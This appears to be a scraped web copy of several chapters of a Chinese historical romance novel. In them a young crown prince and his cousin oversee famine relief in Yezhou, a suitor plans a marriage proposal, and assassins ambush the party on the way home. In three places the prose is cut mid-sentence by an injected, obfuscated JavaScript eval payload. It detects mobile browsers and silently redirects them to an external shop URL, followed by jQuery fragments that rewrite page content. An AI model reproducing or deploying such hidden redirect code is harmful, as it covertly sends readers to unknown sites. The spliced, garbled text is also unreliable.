祁晖珏看着腿边这位年过五旬却涕泪横飞的四品大员,心中满是无奈,暗自感慨,难怪这杨学元虽为官清廉,办事能力也尚可,父皇却铁了心要将他调离雁京,还勒令他无事之时少回雁京述职。 大概是被他给哭烦了吧。 眼看杨学元越哭越激动,祁晖珏眉头紧锁,只得板起脸来,沉声道:“杨知府,孤来掖州不是来听你哭的。” 他的声音不大,却带着不容置疑的威严。 杨学元听到太子语含不悦,身体猛地一震,赶紧跪好行礼:“请殿下恕罪,老臣参见太子殿下,殿下千岁千岁千千岁。” 府衙的衙役们这才反应过来,这位小少年竟然是当朝太子,他们连忙跪下行礼。 “起身吧,闲话少说,还不快将掖州现在的情况详细说来。” 祁晖珏越过他们,径直向正堂走去。走了两步,他忽然回头看向宁玉瑶:“阿姐,你一路辛苦了,先去休息吧。” 宁玉瑶应下:“你别操心我,去办正事吧。” 杨学元早就注意到旁边的年轻女子,现下听太子称呼其为阿姐,便知这位就是嘉阳长公主的掌上明珠,明安郡主。 他不敢怠慢,赶紧叫人带郡主去后院休息。自己则跟在太子身后,边走边禀报掖州的近况。 * 宁玉瑶跟随衙役来到府衙后院,杨知府夫人早已在后院等候。 杨夫人已年过五旬,虽然满脸憔悴,头发中带着些许银丝,却丝毫不掩其端庄气质。 见到宁玉瑶,杨夫人立即上前恭敬地见礼:“见过明安郡主。” 宁玉瑶连忙扶起杨夫人,微笑着说道:“杨夫人无需多礼,明安此番前来只为陪伴太子,叨扰之处,还望夫人见谅。” 杨夫人忙道不敢。 宁玉瑶跟在杨夫人身后向客院走去,静静打量着府衙内的环境。 原本修葺着水池的地方已完全干涸,只留下几处满是裂痕的黑黄色土坑。那应该繁花锦簇的花园,如今空荡荡的,曾经生机勃勃的树木都已经干枯,失去了生机。 宁玉瑶心中感慨万千,连一州知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234451|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府都过得如此辛苦,外面的百姓想必更加苦不堪言。 杨夫人注意到宁玉瑶的目光,脸上露出一抹愧色,告罪道:“让郡主见笑了。” 宁玉瑶轻轻摇头,安抚道:“杨知府廉政爱民,陛下心中都清楚的。” 杨夫人听了这话,侧过头,悄悄擦去眼角的泪水。掖州大旱,百姓伤亡惨重,但自家老爷已尽心尽力,只盼陛下莫要怪罪才好。 很快便到了客院,杨夫人见宁玉瑶满脸疲惫,很有眼色地告辞:“郡主一路劳顿,您好好休息,臣妇先行告退。” 宁玉瑶微微颔首,轻声道:“杨夫人慢走。” 连日奔波让宁玉瑶的身体疲惫至极,倦意如潮水般袭来,她不知不觉便陷入了沉眠。 当她再次睁开眼睛时,天已经黑了。 今夜杨知府设宴款待太子,宁玉瑶身体不适并未前去。她在房中简单地吃了些东西,便坐在院中看着那棵干枯的榆树。 前些时日在定州,百姓虽生活穷困,但最艰难的日子总算熬过去了。只要将北穆击退,即便定州贫穷,百姓也能填饱肚子。 然而与人祸相比,天灾无情,让人毫无抵抗之力。 这几日在掖州,一路上随处可见饿死的百姓。尤其是今天拦路的那个孩子,那般幼小,看上去与博儿年龄相仿,却瘦得只剩皮包骨头…… 秦熠刚走到院门,一眼便瞧见宁玉瑶满上的怜悯,便知这几日的所见所闻,对她而言实在太过残忍。 他蹲在宁玉瑶跟前,笑嘻嘻地把手握成拳头伸过去,说:“明安,你猜这里面有什么?” “不猜。”宁玉瑶此时哪有心情陪他闹,伸脚踢了踢面前的人,“快拿远些。” 秦熠却不在意,依旧满脸笑容,自顾自地摊开手掌,“你看。”他的掌心中躺着一颗棕色的糖丸。 宁玉瑶满心疑惑:“这不是我给你的益气丸吗?有什么稀奇的?” 这糖丸乃是出发前嘉阳长公主命方太医为宁玉瑶所制。其中用了些温补的药材,可补血益气,用料极为考究。即便当作糖丸来吃,对身体亦是无害。 前些日子,宁玉瑶担忧秦熠伤了底子,便将一部分糖丸给了他,让他稍作滋补。如今不知他特地将这糖丸拿出来,究竟是何用意。 秦熠看着宁玉瑶,眼中闪过一丝狡黠,将手中的糖丸塞进嘴里,边嚼边说道:“你不是一直担心今天路上遇到的那个小孩吗?我拖她母亲离开的时候,趁机在她嘴里塞了一颗益气丸。只要那小孩儿撑到赈灾粮到来,就没问题了。” 宁玉瑶微微一怔,这才反应过来,原来还有这事。 她的脸上终于露出了笑容,益气丸虽然不能饱腹,但撑住一口气应该不成问题。她夸赞道:“熠哥哥真厉害,居然没人看见你何时塞的益气丸。” 秦熠被心上人这么一夸,更加得意了:“那是自然。” 片刻后,宁玉瑶叹了口气:“也不知道赈灾粮何时能到。” 秦熠微微思索了片刻,说道:“应该快了,殿下都已经到了掖州,最多也只要两三日的功夫。” 56.施粥 赈灾粮比预想中来得更快。 翌日午时。 祁晖珏与杨知府商讨了一上午在赈灾粮到来前该如何安抚灾民,没想到,众人正准备用午膳时,守城侍卫匆匆来报,益州军押送着大批粮食到了掖州城外。 这一消息让众人欣喜不已,一时间都顾不上吃饭,纷纷起身出城迎接粮草。 而祁晖珏和宁玉瑶则在府衙安心等待着。 约莫两个时辰后,杨知府回来了,他身后跟着户部尚书和工部侍郎,以及几位武将,应该是益州的将士。他们风尘仆仆,显然是日夜兼程快马赶来掖州。 众人走入大堂,一进门就马上跪地请安:“参见太子殿下。” “快快请起,诸位一路辛苦了,快看座。”祁晖珏抬手示意。 “谢殿下。”几人起身后便坐到一旁的椅子上。 户部尚书姓刘,身材不高,略显富态。他率先向祁晖珏禀道:“殿下,微臣离京之时,陛下曾下旨,命臣等一切事务皆听候殿下差遣。” 祁晖珏微微颔首,而后问道:“诸位大人来得恰是时候,不知父皇此次拨了多少粮食予掖州?” 刘尚书答:“启禀太子殿下,此次陛下共拨赈灾粮十万石,今日运抵的乃是第一批,共计两万石。此次益州军派遣了一千名军士前来运送粮食并协助殿下。抛去路上的损耗,如今剩余一万九千一百石。” 祁晖珏这些日子一直待在定州和掖州,对一个兵士每天所需粮草已大概清楚。 他在心中默默盘算,从益州到掖州大约二十日的路程,一千名兵士消耗九百石粮草,这消耗数量并不算多。 他微微颔首表示知晓,而后说道:“既然如此,我们当早日商定赈灾事宜。” 众人纷纷点头,端坐在下方等候太子安排。 掖州城内现在灾民满地,街道上随处可见流离失所的百姓。为了安全着想,宁玉瑶不能随意出府。 无所事事的她和秦熠在大堂寻了一个角落坐下,静静地听着众人商议赈灾之事。 宁玉瑶撑着下巴,目光一直注视着坐在主位上的祁晖珏。十二岁的小少年有条不紊地阐述着自己对赈灾的见解,言辞流利,侃侃而谈。 宁玉瑶脸上露出欣慰的笑容,轻声说:“珏儿真的长大了。” 秦熠闻言转头看向宁玉瑶,眼神中带着几分调侃,示意你也没比太子大几岁。 宁玉瑶自然能看懂他眼中的揶揄,瞬间柳眉倒竖,对他怒目而视。 眼看两人又要闹起来,宁玉瑶突然揉了揉肚子,只觉腹中空空,饥饿感瞬间袭来。 秦熠一直关注着宁玉瑶,立刻注意到她的动作。他凑过来小声问道:“没用午膳?” 宁玉瑶摇摇头:“本想等你们回来一起用,没承想他们谈起正事连用膳都忘了。” 她再度将目光投向主位上一脸严肃的祁晖珏,有些担心:“也不知道珏儿饿不饿。” 秦熠闻言,皱起了眉头,心中同样有些发愁。但这不是定北军更不是秦府,没他说话的份,他只能希望太子想起来要用膳。 但显然祁晖珏早已将这事抛诸脑后了,丝毫没有要停下的迹象。 宁玉瑶忘着祁晖珏这般专注的模样,既欣慰又无奈。只得趁着他们商量完一条对策,思考下一条赈灾政令的间隙,站起身来,高声提醒道:“殿下,你午膳未用,先休息一下,吃点东西再继续吧。” 祁晖珏听到宁玉瑶的声音,微微一怔,这才看向一旁的沙漏,此时已至申时末,他说道:“那就先摆膳吧,是孤疏忽了,诸位大人一路辛苦,用过膳后我们再继续商议。” 众人连忙起身道:“不敢,此乃臣等职责所在。” 晚膳已经准备妥当,桌上的菜肴十分简单,仅有一些易于保存的耐旱瓜果以及少量荤菜。 杨知府清正廉洁,府中食材有限,纵使府上大厨有心做出一桌色香味俱佳的菜肴,却也实在是巧妇难为无米之炊。 这桌上仅有的几个新鲜肉食还是秦熠买来的,他为了哄宁玉瑶多吃些,特意去城外富商的庄子中斥巨资买来一只活鸡和几尾鲜鱼。 宁玉瑶一人自然吃不了这许多,便拿出来让众人一同改善生活。 不知是因为饿极了,还是秦熠买来的新鲜食材的缘故,宁玉瑶今日比前些日子吃得稍多些,这让秦熠很是心满意足,暗忖明日只要太子不出府,他便再去外边寻些吃食给明安。 茶足饭饱后,众人在膳堂稍作休息。 杨学元捊着胡须,好奇地问刘尚书:“敢问刘尚书,先前不食传言国库粮食匮乏?怎么陛下突然拨了十万石粮食过来。” 刘尚书呵呵一笑,目光落在秦熠身上,说道:“这可多亏了秦都司,原本今年新收的粮食准备直接送到定北军,谁料秦都司直接擒了北穆王,北穆就次投降。如此一来,这粮食自然省下来了,陛下便命人送来掖州。” “原来如此,原来如此,”杨学文举起茶盏,对秦熠道:“老夫以茶代酒,敬秦都司勇武!” 秦熠连忙起身回礼,谦逊道:“杨大人谬赞,秦某不过是尽忠职守罢了。” 等众人休息得差不多时,祁晖珏道:“如今掖州百姓受苦,宜早不宜迟,今晚就开始施粥吧,早一步行动也能多救一些人。” 众人闻言起身躬身行礼道:“太子仁德,我等定当全力以赴。” 掖州府衙瞬间忙碌起来,衙役们接到命令后,立即出去通知城内灾民们前来领领粮食。杨知府还特地去找人借了许多大锅和木桶,在府衙内支起来开始熬粥。 府衙的水井中虽然还有水,但由于长时间干旱,水中混杂中泥土,显得有些混浊。但在这紧要关头也顾不上那么多,毕竟对饥饿的灾民而言,有粥吃就已经是极大的恩赐了。 随着粥水在锅中逐渐沸腾,淡淡的米香渐渐飘散到府衙外,府衙外的灾民灾民们原本有些将信将疑,一闻到这米香,顿时喧闹起来。 他们之前虽然有看到益州军押送粮食进城,但都以为还要过几日才能放粮,没想到这么快就能领到粥水。 幸亏有定北军守在府衙外,这些灾民虽然心急如焚,却也不敢硬冲进来,只得府衙外耐心等待着。 时间紧迫,没功夫等粥水熬出米油。只要米粒一断生,府衙的衙役们就立刻起锅,将粥水倒入桶中,马不停蹄地开始熬下一锅,而木桶中熬好的稀粥也会被倒入几勺冷水。 宁玉瑶站在远处,看着桶中米粒稀疏的粥,蹙眉问身边的秦熠:“熠哥哥,这次不是有近两万石粮食吗?为何给灾民吃的这么少。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254920|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祁晖珏在一旁亦是不满。此前商议之时,只说要给灾民们熬粥,却并未提及一口锅里大多是水,米连一成都不到。 他皱着眉头说道:“虽说无法让他们每日都吃得饱,但也不能如此糊弄吧?” 眼见两位祖宗发怒,要去找杨知府质问,秦熠赶忙拦住二人,耐心解释道:“太子殿下息怒。这些灾民们已然饿了许久,如今脾胃极为虚弱。倘若此时进食太过干硬的食物,他们的身体反而会承受不住。而且,灾民们在这般饥饿的状态下,拿到食物后往往不会仔细咀嚼。 “大人们也是考虑到这些情况,才会在前几日发放稀粥。等他们的身体稍微调养好了一些,便能吃稍硬一点的食物了。至于往粥中倒入冷水,也是为了让粥水不那么烫,从而防止烫伤灾民们的肠胃。” 恰在此时,府衙大门打开。门外由于有定北军镇守,灾民们都老老实实地排着队等候着。他们衣衫褴褛,面容憔悴,但眼神不再像之前那般死气沉沉,而是满含期待地望着府衙内。 十多个散发着米香的大木桶被衙役们抬了出来,一部分在益州军的护送下继续前进,抬往城外,准备分发给城外的灾民,剩下的部分则整齐地摆在府衙门口。 灾民们一看到这些木桶,顿时开始骚动不安,他们闻着这诱人的香味,忍不住咽了咽口水。 衙役用勺子敲了敲木桶边缘,大声吆喝道:“每人一碗,在这里喝完再走,不准抢别人的,谁敢动手,直接拉进大牢。” 灾民中有人探头探脑,眼珠子不停转,一看就没想好事。 衙役冷哼一声,继续喊道:“别以为大牢里管饭,现在这年景,就算馊的都没有,饿死在里面都没人管你们!” 那几个贼眉鼠眼的人看到周围虎视眈眈的兵士们,心生畏惧,立即垂下头,不敢再打歪主意。 衙役们将该交代的事情交代清楚后,便开始施粥。他们动作熟练,有条不紊地将粥水舀入一个个破碗中,递给灾民们。 宁玉瑶和祁晖珏看着灾民们领到粥水后,全然不顾粥水烫不烫,直接就往嘴里倒,一口气喝完后还想再要,但顾忌周围的兵士,只得将破碗放回衙役面前。 他们这才明白秦熠刚才所说是什么意思。 祁晖珏长叹一声,“杨知府考虑得周全,孤还有许多东西要学。” 孙太傅从房内走出来,看到太子萧瑟的表情和以及外面施粥的场景,略一思索就明白太子为何有此感慨。 他笑道:“圣人言,三人行必有我师。太子殿下乃万金之躯,无需事事躬亲,您只需知晓手下之人各有哪些本事,再将他们安排去合适的地方即可。” 听着孙太傅开始对太子讲授知人善任的学问,宁玉瑶将秦熠拉到一边,轻声问道:“熠哥哥,这些事情你怎么知道的?” 以前在雁京,秦熠在她面前总是一副吊儿郎当的模样,虽然靠谱,但总显得有些不着调。这次出来,她才发现原来熠哥哥懂这么多东西。 秦熠笑了笑,没回答这个问题。 怎么知道的?那自然是自己亲身经历过。 当初在王城底下的水潭中,他们饿了许久后第一次吃到鱼肉,二狗子就因为吃得太猛,差点丢了性命。不过事情已经过去,就没必要再提起惹明安担心。 57.回京 太子下达的政令一道道有条不紊地实施下去,不过两三日的功夫,掖州城内便不再是一片死气沉沉的景象。 紧闭多日的掖州城大门终于重新打开,城外因灾荒而聚集的流民渐渐减少。 益州军每日奉命押送粮食至掖州境内的各个县城中,那些家园尚在的灾民纷纷踏上归途,回到自己家乡领取粮食。 而一些路途太过遥远,或者家人所剩无几的流民则选择留在了掖州,等过段时间掖州恢复正常后,再寻点活计糊口。 清晨,衙役如往常一般,推着粥桶出了城。经过几日的稀粥调养,现在的粥水浓稠了许多,同时府衙也开始发放米面,灾民们可自行选择。 城外施粥处人声鼎沸。 “听说太子殿下前几日就到了掖州,亲自坐镇赈灾呢。” “没错!太子殿下为了掖州大老远赶来,真是个大善人。” “可不是嘛,太子仁慈,若不是他,咱们怕是都得饿死。” 宁玉瑶跟在秦熠身旁,听到百姓们对太子感恩戴德。 她垂下眼帘,自太子亲自来掖州赈灾的消息传出后,掖州百姓仿佛吃下了定心丸,不再如之前他们在路上所见那般毫无生气。 舅舅先让太子前往定州军,再来到掖州,还特意带来足够的粮食以及擅于赈灾事宜的户部尚书和负责灾后重建的工部侍郎,显然是为了让太子将掖州之事办得漂漂亮亮,为太子增添功绩。 先定军心,后安民心。 舅舅这是在为珏儿将来登基造势。 想到舅舅每况愈下的身体和所剩不多的寿元,宁玉瑶的心情不由得低落起来。 秦熠不知道承武帝的身体状况,正疑惑明安为何突然难过时,他在排队领粥的人群中看到了一对母女,他连忙拉了拉宁玉瑶的衣袖,指着那边说道:“明安你看,前几日拦路的小孩儿活下来了。” 宁玉瑶抬头向秦熠所指的方向看去,果然有一个年轻的女人正在喂身边的孩子喝粥,小女孩看样子恢复得还不错,已经能自己站立了。这也算一个好消息,她的脸上重新露出了笑容。 秦熠见状松了口气,连忙带她离开这里,就怕又发生什么事惹明安不开心。 另一边的年轻女人耐心等女儿喝完粥,抬起头随意往四周一扫,刚好看见秦熠带着宁玉瑶转身离开的身影。 女人赶紧拉着孩子说:“那是给你糖的贵人,快给恩人磕个头。” 女孩听娘的话,对着秦熠一行人的方向歪歪扭扭地磕了个头。 女人看着那个衣着华贵,头上戴着一根镶嵌着红宝石金簪的小姐扔了一个荷包给身边的男子,男子从荷包中掏出一颗糖丸塞进嘴里,正是当初给女儿的那种。 原来糖丸是小姐给的赏赐,这位小姐想必也是和太子殿下一起来赈灾的,真是菩萨心肠。 女人没看见小姐的面容,只有那颗璀璨夺目的红宝石深深地印在她的心底。 宁玉瑶在前面边走边数落秦熠:“虽然方太医说益气丸多吃也对身体无害,但你也不能真当糖丸吃吧?吃这么多,牙都要坏了。” 秦熠嘿嘿一笑,由着宁玉瑶骂。 等他们回到府衙时,已经过了午膳时间。 刚踏进府衙大门,孙佑延便急匆匆地迎了上来,“郡主您可算回来了。” 宁玉瑶见孙太傅脸上满是焦急,连忙问道:“孙太傅找明安有何事?” 孙佑延道:“太子上午去灾民那边视察后,回来便一直坐在大堂中处理事务,既不吃东西,也不休息,您快去劝劝吧。” 宁玉瑶闻言眉头紧皱,珏儿想必也是从灾民对他的夸赞中看出了舅舅对他的安排,她轻声说道:“孙太傅您别急,我现在就去看看珏儿。” 府衙大堂内,祁晖珏正在翻阅掖州各县的灾情文书,户部刘尚书和杨知府坐在下首协助太子整理物资记录,掖州府的同知通判等人也各自忙碌着。 宁玉瑶进来时,便看见这一副忙碌却安静的场景。 太子随身伺候的小太监看见宁玉瑶,眼睛顿时一亮。 宁玉瑶挥手示意让屋内的人全部退下。 刘尚书等人如释重负,赶紧放下手中事物,对宁玉瑶行礼后,悄声离开了大堂。 祁晖珏毫无察觉,依旧拿着笔在桌案上书写条文,直到宁玉瑶上前抽出他手中的笔,他才愤怒地抬起头,正欲开口呵斥何人如此大胆。 当看清来人是宁玉瑶时,他瞬间收起脸上的怒容,轻声唤了一句:“阿姐。” 宁玉瑶放下手中的毛笔,拉着祁晖珏站起身,向膳堂走去,“阿姐知道你想将赈灾之事办好,不辜负舅舅对你的期望。但你也要顾及自己的身体,若你在这里病了,岂不是更让舅舅担心?” 祁晖珏抿唇不语,宁玉瑶见他这样,就知道他听了,但没打算改。她也不再劝他,横竖自己现在在这里,多留意便是。 接下来的日子里,祁晖珏依旧我行我素,废寝忘食地处理文书。因他心中憋着一口气,处理起公务来愈发雷厉风行。 这段时间,若下边有人胆敢打赈灾粮的主意,他处置时绝不手软。 与太子相识多年的刘尚书,更能深切地感受到太子的成长。 太子积威日重,身上已然能看出承武帝的影子,虽仁德却更加乾纲独断。 太子有此风范,虽说是大宸之幸事,然而太子既不吃饭也不休息,他们这些下属也不敢离开大堂,只能陪着太子一起熬着。 幸好此次有明安郡主随行,只要太子在大堂待的时间过久,郡主便会立刻赶来,带着太子下去休息。 “行了,别瞪了,快用膳!”宁玉瑶将祁晖珏爱吃的菜肴夹进他碗中。 祁晖珏这才收回瞪向通风报信的小太监的目光,乖乖地吃着阿姐夹给他的菜。 用过午膳,祁晖珏板着脸警告小太监:“不准再向阿姐告状,否则等回到雁京就处置了你。” 小太监满脸惶恐,连忙应下。 然而,谁都没想到,下午大堂内众人正忙碌之际,宁玉瑶带着秦熠走了进来。秦熠手中扛着一张软榻,身后的侍女们则抬着屏风和小桌。 宁玉瑶见众人都望着她,微微一笑,招呼道:“诸位大人忙你们的,我绝不会出声打扰你们。” 说着,她指挥秦熠将软榻放置在大堂的角落中。随后,侍女们摆好屏风,她便安然地躺在软榻上,看书喝茶,果真半点声响都未发出。 快到用晚膳之时,祁晖珏破天荒地第一次主动停下笔,吩咐道:“都下去用膳吧。” 宁玉瑶收起话本从屏风后走出来,便见祁晖珏满脸无奈地看着她。 她伸手拍了拍祁晖珏的肩膀,“别嫌阿姐烦,你要是在这里累病了,我回去可没法跟舅母交代。” 而且,她费了那么大的劲从定州跟来掖州,不就是为了好好照顾珏儿。 祁晖珏自然不是不识好歹之人,他叹了口气说:“我怎么会嫌阿姐烦,我只是怕自己做得不够好,想尽快解决掖州的事情,让父皇开心。” 宁玉瑶看着他只在自己面前展露的焦急模样,耐心劝道:“欲速则不达,赈灾之事我也不懂,不过孙太傅不是也夸赞你吗?别害怕,你已经做得很好了。” 祁晖珏第一次将这些话听进心里,点头应道:“我知道了,阿姐。” 这次之后,官员们都察觉到太子不再如之前那段时间那般急切。虽然在处理事务时依旧果断,但至少不再那么紧绷。这让他们都暗暗松了口气。 掖州的赈灾事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272406|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜井然有序地进行着。直至掖州重新开始降雨,最后一批赈灾粮也终于抵达。 幸运的是,此次旱灾并未引发瘟疫。只要有粮食,掖州很快便恢复了生机。 掖州下过雨的夜空如同被擦拭过的琉璃般澄澈,星星就像宝石点缀其间。 明日便要启程回雁京,宁玉瑶却翻来覆去怎么都睡不着。她索性起身,来到院子中。 出来这么久,她想念爹爹,想念娘亲,也想念疼爱她的舅舅舅母。 她坐在院中的石凳上,仰头看着天空中明亮的星星,想着出来这么久,娘亲应该消气了吧?转而又想到,她从定州又跑到掖州待了这么久,娘亲更生气了也说不定。 想到这儿,宁玉瑶惆怅地叹了口气。 突然院子的围墙上冒出一颗头:“明安,在愁什么?” 宁玉瑶被吓了一跳,等看清是秦熠时,她又气又恼。拿起桌上的茶盏就向他砸去:“大半夜的,这么吓人!” 秦熠稳稳地接过茶盏,跳下围墙,将茶盏放到宁玉瑶身边的石桌上,“我看你院子里的烛火未灭,就过来看看,明日就要回程了,怎么还愁眉苦脸的?” 宁玉瑶自然不会跟他说母亲的事,只是托腮看着面前的俊朗男子,问:“秦将军他们已经到雁京了吧?” 秦熠见宁玉瑶不想说,也没勉强,顺着她的问话点头道:“算日子,应该上个月就到了。” 宁玉瑶笑道:“那这次回去就该论功行赏了。” 秦熠却不在意那些功名利禄,他心里有其他更想要的。 他走到宁玉瑶身前蹲下,定定地看着她,轻声说:“明安,回去后,我就让母亲请人去长公主府提亲,好不好?” 宁玉瑶没想到秦熠会突然提这个,她的心猛地一跳,脸上如朝霞般红艳。她轻咬下唇,没有直接回答,只是伸手点了点他的额头,娇嗔道:“瞧你这傻样。” 秦熠眼中满是温柔的笑意。 院子中的侍女们早已站得远远的,捂着嘴看着他们窃笑。 初冬的夜风吹过院中的两人,寒凉中带着一丝缠绵。 * 准备入睡的祁婧惠也正与丈夫谈论着此事。 “今日秦夫人来探我的口风,看是不是等瑶儿和秦熠回来后就上门提亲。恰好战事大捷,秀灵也回来了,喜上加喜。” 原本昏昏欲睡的宁渊瞬间清醒过来,侧过身面向妻子:“怎么好好地说起这事了?瑶儿还小呢,过两年再议也不迟。” “还小?过完年瑶儿就十八了!” “十八了啊……”宁渊惆怅地长叹一声。虽然一直以来任由两个孩子相处,但一想到女儿要嫁人,他便浑身难受。 过了一会儿,祁婧惠快要睡着时,听到身边的丈夫说道:“瑶儿不是曾说过不想嫁人,要我们养她一辈子吗?我觉得这样也挺好。” 祁婧惠睁开双眼,冷笑道:“及笄前的孩子话你也当真?你若真敢阻拦,你看瑶儿会不会埋怨你。” “怎么会呢,瑶儿这么小,哪懂得什么情情爱爱。” “呵,她不懂?不懂还能听到秦熠受伤就急匆匆地跑去定州?”祁婧惠一想起这事就气不打一处来。 她掀开被子,坐起身来,指着宁渊的鼻子骂道:“瑶儿不去定州也就罢了,秦家只当瑶儿没开窍,还能再等两年。你倒好,在那横插一杠子。秦家盼了这么多年,还能不赶紧顺着杆子往上爬?!” 宁渊心中也是懊悔不已,他着实没想到陛下如此纵容瑶儿,去定州这么大的事情都能应允下来。 如今后悔也来不及了。 他只能拉着祁婧惠的手让她躺下,安抚道:“别急别急,等孩子们回来再说。我得再好好考验考验秦熠,看看那小子的诚意。” 58.刺客 十月末的清晨,寒风凛冽刺骨。刚历经大旱的掖州,竟连续数日暴雨倾盆。原以为昨日雨歇后今日便会放晴,没想到清晨又飘起了蒙蒙细雨。 祁晖珏和宁玉瑶的行李早已收拾妥当,马车停在府衙大门前。 掖州官员们以及户部尚书、工部侍郎撑着伞,一同站在马车旁恭候太子。 刘尚书无奈地看着身边泣不成声的杨学元,小声劝道:“杨知府,别哭了,太子快出来了,当心殿前失仪。” 杨学元被他一劝,反倒哭得愈发大声,抽噎着道:“下官……下官实在舍不得太子……” 刘尚书和李侍郎对视一眼,看着周围对着这边指指点点的百姓,连忙掩面离他远点。心说,你要是少哭点,陛下早就把你调回雁京了,到时天天能见太子,何须这般不舍。 不过这话他们可不敢说出来,否则杨学元能哭得更大声,到时候丢脸的还是自己。 不多时,祁晖珏领着宁玉瑶等人从府衙内出来。今日小雨淅沥,他们都身着简单轻便的服饰,随侍们在一旁小心地撑着伞。 太子一行人出现,在旁候着的官员们立刻收起伞,恭敬地向祁晖珏行礼:“参见殿下。” “免礼。” 祁晖珏扶着宁玉瑶登上马车,转身看了一眼涕泪横流的杨学元,不忍直视地移开眼。他看向不远处的刘尚书和李侍郎,“掖州之事,尔等当尽心尽力。蓄水工程关乎百姓生计,切不可有丝毫懈怠。” “是,殿下。”刘尚书和李侍郎连忙躬身领命,掖州的蓄水工程尚未完工,他们二人还需留在掖州进行收尾工作。今日太子等人依旧由定北军的兵士们护送,先行回雁京。 祁晖珏的目光再次扫向杨学元,竭力忽视杨知府脸上的眼泪,说道:“杨知府,忘你日后继续勤勉理政,为掖州百姓谋福祉。百姓之期望,不可辜负。” 杨学元听了太子的话,情绪愈发激动,哭得更大声了,这下就连掖州的官员们都离他远远的。 太子轻叹一声,转身登上马车,他扬起手下令:“启程。” 坐在马车内的宁玉瑶听见杨知府的哭声,不由得笑着看向祁晖珏:“杨知府怎么这么爱哭。” 她此次出行所带的话本子已全部看完,担心旅途无聊,便过来跟祁晖珏坐同一辆马车。如此一来,路上可以逗逗珏儿,解解闷。 祁晖珏那张仍显稚气的脸上,显露出与他年龄极不相符的老成神情,无奈道:“杨知府就是太爱哭了,每次都哭得父皇瞧见他便头疼不已,正因如此,父皇才将他打发到掖州来。” 宁玉瑶忆起幼年时见到舅舅被杨知府哭得头大的场景,不禁扑哧一笑。正欲说些什么,马车外的街道上突然传来一阵高呼:“恭送太子殿下!” 这突如其来的呼喊声让宁玉瑶心中一震,她连忙打开车窗向外看去。只见两侧街道都站满了掖州百姓,他们衣衫褴褛,却不顾细雨纷纷,站在街边高呼太子殿下。 见到马车的车窗打开,百姓们齐刷刷地跪倒在地,口中高喊着:“太子殿下千岁千岁千千岁。” 百姓们的呼声此起彼伏,在这细雨蒙蒙的清晨,格外令人动容。 宁玉瑶转头看向祁晖珏,珏儿的眼眶微微泛红,她没有说什么大道理,只是笑着轻声说:“掖州虽然穷困,百姓却都很淳朴。” 祁晖珏喉头微动,没有说话,他默默转头看着窗外,想要将这一幕深深烙在脑海中。 马车在细雨中继续前行,百姓们的呼声渐渐远去,掖州城也慢慢消失在他们的视线中。 * 从掖州回雁京,大约需要十二三日的路程。清晨时分,他们从掖州府出发,一路前行。走了四个时辰,仍未走出掖州境。 未时末,他们来到了蜿蜒的掖州山脉下。秦熠看着手中的舆图,向马车内的太子请示道:“殿下,再走一个时辰便能到达掖临县,我们今日在掖临县投宿。” 马车内,祁晖珏应道:“可。” 秦熠收起舆图,轻夹马腹走到队伍最前面。尽管他心里迫不及待地想要飞回雁京,但他记得自己的职责,一双鹰目仔细地巡视着周围的环境,不放过任何一丝可疑之处。 突然,秦熠目光一凝,他敏锐地察觉到了一丝危险的气息。他高声喊道:“警戒!” 就在他开口的瞬间,无数支箭矢从山上的巨石后射出,朝着他们袭来。 秦熠连忙拔剑,扫开射到面前的箭矢。但还是有十余名兵士躲闪不及,倒在了箭雨中。 秦熠大声喊道:“快,冲过去!” 兵士和侍卫们紧紧护卫着马车,全力向前冲去。然而,山上的敌人似乎早有准备,箭矢源源不断地射来,让他们疲于应对。 宁玉瑶听到马车外的动静,心里一紧,连忙握住祁晖珏的手,安抚道:“珏儿别怕,有熠哥哥在,我们定会平安无事。” 祁晖珏脸色苍白,用力回握住宁玉瑶的手,努力稳住自己的情绪:“阿姐放心。” 丹素和丹诺严阵以待,一人死守着车门,一人全神贯注地盯着车窗,谨防有歹人冲进来。 马车极速奔跑了没多久,突然猛地一顿,停了下来,宁玉瑶和祁晖珏差点被这停顿甩出马车,好在丹素和丹诺眼疾手快,牢牢将他们抓住。 车门被拉开,浑身是血的秦熠出现在车外,疾声说:“殿下,马都被刺客射杀了,我们需要弃车逃跑,请您快下车。” 宁玉瑶和祁晖珏心头大震,究竟来了多少刺客,居然连秦熠都无可奈何。 他们不敢迟疑,赶紧跳下马车,秦熠背起祁晖珏,丹素则背着宁玉瑶,一行人向旁边的荒山跑去。 宁玉瑶趴在丹素背上匆匆往后一瞥,只见定北军的兵士们正在与一群蒙面人奋战。地上满是尸体,蒙面人的数量极多,她粗略判断恐怕有上千人。 